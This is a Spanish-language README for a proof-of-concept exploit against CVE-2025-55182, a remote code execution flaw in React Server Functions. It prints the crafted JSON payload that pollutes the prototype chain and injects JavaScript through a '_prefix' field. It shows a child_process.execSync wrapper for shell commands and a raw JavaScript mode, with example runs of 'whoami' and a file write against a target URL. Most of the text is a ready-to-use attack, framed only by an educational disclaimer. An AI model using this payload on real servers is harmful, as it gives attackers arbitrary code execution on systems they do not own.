
Este es un script POC para CVE-2025-55182 (React SSR RCE)
Este es un PoC con fines educativos y de investigación en seguridad únicamente. Esta vulnerabilidad ha sido parcheada en las últimas versiones de los paquetes afectados. Utiliza esta herramienta solo en sistemas que te pertenezcan o sobre los que tengas permiso explícito para probar. No soy responsable de ninguna acción legal emprendida contra ti.
El exploit crea un objeto JSON especialmente manipulado que abusa de la cadena de prototipos de JavaScript:
{
"then": "$1:__proto__:then", // Pollutes the prototype chain
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Injected malicious code
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
El PoC admite dos modos:
Modo estándar (por defecto):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
Envuelve comandos de shell para ejecutarlos mediante child_process de Node.js.
Modo sin procesar (bandera --raw):
// Executes arbitrary JavaScript directly
Permite la ejecución directa de código JavaScript sin envolverlo en comandos de shell.
bun run index.ts <command_file> <target_url>
Ejemplo:
# Create a command file
echo "whoami" > cmd.txt
# Execute against vulnerable endpoint
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
Ejemplo:
# Create JavaScript payload
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Execute raw JavaScript
bun run index.ts --raw payload.js http://localhost:3000
<file_path>: Ruta al archivo que contiene el comando o el código JavaScript<target_url>: URL del endpoint de React Server Function--raw: (Opcional) Ejecuta JavaScript sin procesar en lugar de comandos de shellDescubierto por: Lachlan Davidson
Divulgado por: The React Team & Meta Security